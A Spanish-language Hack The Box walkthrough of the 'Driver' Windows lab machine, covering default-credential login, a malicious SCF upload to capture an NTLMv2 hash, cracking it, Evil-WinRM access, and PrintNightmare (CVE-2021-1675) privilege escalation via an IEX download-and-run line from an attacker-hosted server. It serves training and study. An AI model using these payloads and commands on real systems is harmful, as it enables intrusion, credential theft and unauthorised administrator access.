Driver - Hack The Box

Es una máquina relativamente sencilla, comenzamos entrando al servicio HTTP, el cual nos pedirá credenciales para poder entrar, adivinamos las credenciales y enumerando el sitio web, encontramos que podemos subir archivos. La página acepta archivos SCF, podemos obtener un hash que contiene usuario y contraseña del protocolo SMB si cargamos un archivo SCF malicioso. Crackeando el hash con la herramienta JohnTheRipper nos conectamos de manera remota con Evil-WinRM al protocolo SMB y gracias a la herramienta WinPEAS, encontramos el proceso spoolv activo, que es vulnerable al Exploit CVE-2021-1675 - PrintNightmare LPE, siendo que podemos crear un usuario administrador nuevo y nuevamente con Evil-WinRM ganamos acceso como Administrador en la máquina Windows.

Herramientas utilizadas para resolver esta máquina:

  • ping
  • nmap
  • Wappalizer
  • impacket-smbserver
  • JohnTheRipper
  • Crackmapexec
  • Evil-WinRM
  • whoami
  • systeminfo
  • winPEAS
  • python3
  • net






Recopilación de Información


Traza ICMP

Vamos a realizar un ping para saber si la máquina está activa y en base al TTL veremos que SO opera en la máquina.

ping -c 4 10.10.11.106
PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=143 ms
64 bytes from 10.10.11.106: icmp_seq=2 ttl=127 time=139 ms
64 bytes from 10.10.11.106: icmp_seq=3 ttl=127 time=138 ms
64 bytes from 10.10.11.106: icmp_seq=4 ttl=127 time=139 ms

--- 10.10.11.106 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 3009ms
rtt min/avg/max/mdev = 138.484/139.591/142.586/1.731 ms

Por el TTL sabemos que la máquina usa Windows, hagamos los escaneos de puertos y servicios.

Escaneo de Puertos

nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.106 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 19:01 CST
Initiating SYN Stealth Scan at 19:01
Scanning 10.10.11.106 [65535 ports]
Discovered open port 135/tcp on 10.10.11.106
Discovered open port 80/tcp on 10.10.11.106
Discovered open port 445/tcp on 10.10.11.106
Completed SYN Stealth Scan at 19:02, 28.43s elapsed (65535 total ports)
Nmap scan report for 10.10.11.106
Host is up, received user-set (0.34s latency).
Scanned at 2023-05-22 19:01:51 CST for 29s
Not shown: 65532 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT    STATE SERVICE      REASON
80/tcp  open  http         syn-ack ttl 127
135/tcp open  msrpc        syn-ack ttl 127
445/tcp open  microsoft-ds syn-ack ttl 127

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 28.56 seconds
           Raw packets sent: 131085 (5.768MB) | Rcvd: 26 (1.144KB)
Parametros Descripción
-p- Para indicarle un escaneo en ciertos puertos.
–open Para indicar que aplique el escaneo en los puertos abiertos.
-sS Para indicar un TCP Syn Port Scan para que nos agilice el escaneo.
–min-rate Para indicar una cantidad de envió de paquetes de datos no menor a la que indiquemos (en nuestro caso pedimos 5000).
-vvv Para indicar un triple verbose, un verbose nos muestra lo que vaya obteniendo el escaneo.
-n Para indicar que no se aplique resolución dns para agilizar el escaneo.
-Pn Para indicar que se omita el descubrimiento de hosts.
-oG Para indicar que el output se guarde en un fichero grepeable. Lo nombre allPorts.

Veo solamente 3 puertos abiertos y pienso que la intrusión será por el puerto 80 o por el puerto 445, veamos que nos dice el escaneo de servicios.

Escaneo de Servicios

nmap -sC -sV -p80,135,445 10.10.11.106 -oN targeted
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-22 19:04 CST
Nmap scan report for 10.10.11.106
Host is up (0.14s latency).

PORT    STATE SERVICE      VERSION
80/tcp  open  http         Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Basic realm=MFP Firmware Update Center. Please enter password for admin
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-title: Site doesnt have a title (text/html; charset=UTF-8).
135/tcp open  msrpc        Microsoft Windows RPC
445/tcp open  microsoft-ds Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7h00m16s, deviation: 0s, median: 7h00m15s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
| smb-security-mode: 
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2023-05-23T08:05:10
|_  start_date: 2023-05-23T07:58:54

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 48.88 seconds
Parametros Descripción
-sC Para indicar un lanzamiento de scripts básicos de reconocimiento.
-sV Para identificar los servicios/versión que están activos en los puertos que se analicen.
-p Para indicar puertos específicos.
-oN Para indicar que el output se guarde en un fichero. Lo llame targeted.

Mmmmm veo cosas raras, por ejemplo en el puerto 80 menciona que debemos meter una contraseña para el usuario admin, entonces no sé qué pueda ser.




Análisis de Vulnerabilidades


Analizando Servicio HTTP

Entremos.

Nos pide una contraseña. Veamos que pasa si no ponemos nada:

No pues nada, pero Wappalizer si muestra algo, veámoslo:

Mmmmm, pues antes de irnos a ver el puerto 445, tratemos de poner credenciales conocidas, por si tenemos suerte.

a… Bueno, el usuario y contraseña que puse, fueron:

  • User: admin
  • Passwd: admin

Veamos que dice el Wappalizer:

Veo que está programado en PHP, investiguemos la página para ver si podemos incluir archivos.

Y si se puede, pero lo malo es que hay varias opciones:

Por lo que no sé, cuál de estas opciones es la correcta para subir el archivo y qué tipo de extensión podemos subir. Analicemos el mensaje que pone la imagen anterior:

Traducción
Seleccione el modelo de impresora y cargue la actualización de firmware correspondiente a nuestro recurso compartido de archivos. Nuestro equipo de pruebas revisará las cargas manualmente e iniciará las pruebas pronto. Ícono de validado por la comunidad.


Ósea, que no va directamente a la máquina, sino a un servidor aparte, además, lo van a “revisar y probar”, por lo que “pueden” descubrir que algo malo está pasando. Entonces, no sirve de nada subir una Reverse Shell. Por lo demás, entiendo que debemos crear un archivo que tenga la actualización.

Entonces, ¿Qué podemos hacer? Existe una forma de obtener un hash de un usuario para esta clase de casos y esto se llama SCF Malicious File. Pero primero, veamos de que trata ese archivo:

Extensión .scf
Los archivos SCF pertenecen principalmente a Windows de Microsoft. Un archivo SCF es un archivo que almacena información sobre la secuencia de ADN y que actúa de forma similar a un archivo ABI, pero contiene más información y es menos propenso a errores. También son utilizados por el símbolo del sistema operativo Windows como archivo de comandos Shell. En esta aplicación, el archivo SCF almacena comandos de shell, y es similar a los archivos BAT o CMD.


Aquí más información sobre estos archivos: Archivos con Extensión .scf


Ahora, veamos de que trata ese archivo malicioso SCF:

SCF Malicious File
Durante un test de intrusión, es posible encontrarse con un recurso de red de un servidor Windows con permisos de escritura para todos. A parte de intentar obtener información sensible, existe una forma para abusar de este recurso y poder obtener los hashes de las contraseñas de todos los usuarios que naveguen por esa carpeta compartida. Para ello, se utilizará un archivo SCF malicioso. Se trata de un Shell Command File, es decir, un archivo de comandos de Windows Explorer, que nosotros usaremos para enviar el archivo SCF malicioso. Se puede usar un archivo SCF para acceder a una ruta UNC específica que permite que el probador de penetración cree un ataque.


Aquí puedes encontrar más información sobre este ataque:


En resumen, al subir el archivo SCF a través de archivos compartidos SMB, nuestro servidor, se tratará de autenticar para compartir un archivo random, al hacerlo con el código malicioso, obtendremos un usuario y un hash que puede contener la contraseña del usuario obtenido.

En ambas páginas, viene un script que nos permitirá subir un archivo random (que no importa si este archivo lo tengas o no) hacia el servicio SMB que está operando en esta máquina. Vamos a utilizar el script de la siguiente página: Archivo Malicioso .SCF 2

Copialo en un archivo nuevo y vamos a modificarlo para que descargue un archivo random (que repito, no importa si existe o no este archivo), desde nuestra máquina a través de un servidor SMB. Hagámoslo por pasos en la siguiente sección.




Explotación de Vulnerabilidades


Creando Archivo Malicioso SCF y Obteniendo Credenciales

  • Copia y crea el archivo:
    nano file.scf
    [Shell]
    Command=2
    IconFile=\\X.X.X.X\share\pentestlab.ico
    [Taskbar]
    Command=ToggleDesktop
    
  • Modifica el código, poniendo tu IP y especificando el servidor SMB, recuerda que el archivo no importa que no exista:
    [Shell]  
    Command=2
    IconFile=\\Tu_IP\smbFolder\pentestlab.ico
    [Taskbar]
    Command=ToggleDesktop
    
  • Abre el servidor SMB en donde tengas el archivo SCF:
    impacket-smbserver smbFolder $(pwd) -smb2support
    Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    [*] Config file parsed
    
  • Sube el archivo a la página:

  • Observa lo que pasa en el servidor SMB de tu máquina:
    impacket-smbserver smbFolder $(pwd) -smb2support
    Impacket v0.10.0 - Copyright 2022 SecureAuth Corporation
    [*] Config file parsed
    [*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
    [*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
    [*] Config file parsed
    [*] Config file parsed
    [*] Config file parsed
    [*] Incoming connection (10.10.11.106,49414)
    [*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
    [*] User DRIVER\tony authenticated successfully
    [*] tony::DRIVER:aaaaaaaaaaaaaaaa:5a0d651031ca97e2d20e5abf5039dfcb:010
    

Excelente, tenemos un usuario y un hash con posible contraseña.

Este ataque se puede hacer con la herramienta Responder, pero es mejor usarla para casos de Active Directory y en esta máquina eso está de más.

Descifrando Hash y Probando Credenciales

Para descifrar el hash, vamos a copiarlo todo, guardarlo en un archivo y usaremos la herramienta John The Ripper, obvio por pasos:

  • Copia y pega todo el hash en un archivo:
    nano hash
    tony::DRIVER:aaaaaaaaaaaaaaaa:5a0d651031ca97e2d20e5abf5039dfcb:010
    
  • Usa el diccionario rockyou.txt junto a la herramienta John The Ripper para descifrar el hash:
    john -w=/usr/share/wordlists/rockyou.txt hash
    Using default input encoding: UTF-8
    Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
    Will run 2 OpenMP threads
    Press 'q' or Ctrl-C to abort, almost any other key for status
    liltony          (tony)     
    1g 0:00:00:00 DONE (2023-05-22 23:18) 20.00g/s 634880p/s 634880c/s 634880C/s !!!!!!..225566
    Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
    Session completed.
    

Listo, tenemos las credenciales:

  • User: tony
  • Passwd: liltony

Vamos a probar si son correctas para el servidor SMB de la máquina víctima usando la herramienta crackmapexec:

crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106    445    DRIVER           [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB         10.10.11.106    445    DRIVER           [+] DRIVER\tony:liltony

Bien, tratemos de ver si es posible conectarnos por winrm para poder usar la herramienta Evil-WinRM y conectarnos de manera remota:

crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB         10.10.11.106    5985   DRIVER           [*] Windows 10.0 Build 10240 (name:DRIVER) (domain:DRIVER)
HTTP        10.10.11.106    5985   DRIVER           [*] http://10.10.11.106:5985/wsman
WINRM       10.10.11.106    5985   DRIVER           [+] DRIVER\tony:liltony (Pwn3d!)

Muy bien, ahora usa esa herramienta con las credenciales para conectarte:

evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'

Evil-WinRM shell v3.4

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\tony\Documents>

Tardo un poquito, pero ya nos conectamos de manera remota, solo busca la flag y continuamos con las post explotación:

*Evil-WinRM* PS C:\Users\tony> cd Desktop
*Evil-WinRM* PS C:\Users\tony\Desktop> dir


    Directory: C:\Users\tony\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-ar---        5/23/2023  12:59 AM             34 user.txt


*Evil-WinRM* PS C:\Users\tony\Desktop> type user.txt
...




Post Explotación


Enumerando Máquina Víctima

Como siempre, vamos a revisar privilegios:

*Evil-WinRM* PS C:\Users\tony\Desktop> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                          State
============================= ==================================== =======
SeShutdownPrivilege           Shut down the system                 Enabled
SeChangeNotifyPrivilege       Bypass traverse checking             Enabled
SeUndockPrivilege             Remove computer from docking station Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set       Enabled
SeTimeZonePrivilege           Change the time zone                 Enabled

No veo algo que nos pueda ayudar, veamos la información del sistema para poder usar la herramienta Windows Exploit Suggester:

*Evil-WinRM* PS C:\Users\tony\Desktop> systeminfo
systeminfo.exe : ERROR: Access denied
    + CategoryInfo          : NotSpecified: (ERROR: Access denied:String) [], RemoteException
    + FullyQualifiedErrorId : NativeCommandError

A canijo, no pues no. Esta es una excelente oportunidad para usar la herramienta WinPEAS, que nos ayuda a encontrar vulnerabilidades en sistemas Windows.


Utilizando WinPEAS para Encontrar Vulnerabilidades

Gracias a Evil-WinRM, podemos cargar la herramienta WinPEAS con el comando upload de la siguiente forma:

*Evil-WinRM* PS C:\Windows\Temp\Privesc> upload PATH_Donde_Tengas_El_winPEAS.exe
Info: Uploading PATH_Donde_Tengas_El_winPEAS.exe

Data: 2703360 bytes of 2703360 bytes copied

Info: Upload successful!

Listo, puedes verificar que se cargó la herramienta:

*Evil-WinRM* PS C:\Windows\Temp\Privesc> dir


    Directory: C:\Windows\Temp\Privesc


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        5/23/2023   6:01 AM        2027520 winPEASx64.exe

Y la ejecutamos:

*Evil-WinRM* PS C:\Windows\Temp\Privesc> .\winPEASx64.exe
ANSI color bit for Windows is not set. If you are executing this from a Windows terminal inside the host you should run 'REG ADD HKCU\Console /v VirtualTerminalLevel /t REG_DWORD /d 1' and then start a new CMD
...
...
...

Leyendo todo lo que nos sacó el winPEASx64.exe, vemos lo siguiente:

ÉÍÍÍÍÍÍÍÍÍ͹ Current TCP Listening Ports
È Check for services restricted from the outside 
  Enumerating IPv4 connections
                                                                                                                                       
  Protocol   Local Address         Local Port    Remote Address        Remote Port     State             Process ID      Process Name

  TCP        0.0.0.0               80            0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               135           0.0.0.0               0               Listening         716             svchost
  TCP        0.0.0.0               445           0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               5985          0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               47001         0.0.0.0               0               Listening         4               System
  TCP        0.0.0.0               49408         0.0.0.0               0               Listening         452             wininit
  TCP        0.0.0.0               49409         0.0.0.0               0               Listening         868             svchost
  TCP        0.0.0.0               49410         0.0.0.0               0               Listening         828             svchost
  TCP        0.0.0.0               49411         0.0.0.0               0               Listening         1184            spoolsv
  TCP        0.0.0.0               49412         0.0.0.0               0               Listening         572             services
  TCP        0.0.0.0               49413         0.0.0.0               0               Listening         580             lsass
  TCP        10.10.11.106          139           0.0.0.0               0               Listening         4               System

Existe un Exploit para spoolsv llamado PrintNightmare LPE, así que vamos a usar este Exploit. Te dejo el link para que lo veas: PrintNightmare LPE - CVE-2021-1675

Utilizando Exploit PrintNightmare LPE (PowerShell)

Solamente vamos a ocupar el archivo .ps1 que viene en el GitHub, cópialo en tu máquina con wget.

Una vez que lo tengas copiado, vamos a subirlo a la máquina, a través de un servidor en Python y en la máquina con IEX, hagámoslo por pasos:

  • Abre el servidor en Python en donde tengas el Exploit:
    python3 -m http.server 80
    Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
    
  • Carga el Exploit en la máquina con IEX:
    *Evil-WinRM* PS C:\Windows\Temp\Privesc> IEX(New-Object Net.WebClient).downloadString('http://Tu_IP/CVE-2021-1675.ps1')
    
  • Vemos los usuarios que hay:
    *Evil-WinRM* PS C:\Windows\Temp\Privesc> net user
    User accounts for \\
    -------------------------------------------------------------------------------
    Administrator            DefaultAccount           Guest
    tony
    The command completed with one or more errors.
    
  • Usamos el código que viene en el GitHub para crear un nuevo usuario administrador:
    *Evil-WinRM* PS C:\Windows\Temp\Privesc> Invoke-Nightmare -DriverName "Xerox" -NewUser "berserkW" -NewPassword "SuperSecure"
    [+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
    [+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
    [+] added user berserkW as local administrator
    [+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
    
  • Comprobamos que se creó el nuevo usuario administrador:
    *Evil-WinRM* PS C:\Windows\Temp\Privesc> net user
    User accounts for \\
    -------------------------------------------------------------------------------
    Administrator            berserkW                 DefaultAccount
    Guest                    tony
    The command completed with one or more errors.
    
  • Comprobamos con Crackmapexec, si el usuario y contraseña sirven:
    crackmapexec winrm 10.10.11.106 -u 'berserkW' -p 'SuperSecure'
    SMB         10.10.11.106    5985   DRIVER           [*] Windows 10.0 Build 10240 (name:DRIVER) (domain:DRIVER)
    HTTP        10.10.11.106    5985   DRIVER           [*] http://10.10.11.106:5985/wsman
    WINRM       10.10.11.106    5985   DRIVER           [+] DRIVER\berserkW:SuperSecure (Pwn3d!)
    
  • Nos conectamos por Evil-WinRM y obtenemos la flag:
    evil-winrm -i 10.10.11.106 -u 'berserkW' -p 'SuperSecure'
    Evil-WinRM shell v3.4
    Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
    Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
    Info: Establishing connection to remote endpoint
    *Evil-WinRM* PS C:\Users\berserkW\Documents> cd C:\Users\Administrator\Desktop
    *Evil-WinRM* PS C:\Users\Administrator\Desktop> dir
      Directory: C:\Users\Administrator\Desktop
    Mode                LastWriteTime         Length Name
    ----                -------------         ------ ----
    -ar---        5/23/2023  12:59 AM             34 root.txt
    *Evil-WinRM* PS C:\Users\Administrator\Desktop> type root.txt
    

    Listo, ya completamos esta máquina.



  • https://filext.com/es/extension-de-archivo/SCF
  • https://www.file-extension.info/es/format/scf
  • https://pentestlab.blog/2017/12/13/smb-share-scf-file-attacks/
  • https://www.hackplayers.com/2017/11/usando-un-archivo-scf-malicioso-dentro.html
  • https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe
  • https://github.com/calebstewart/CVE-2021-1675


FIN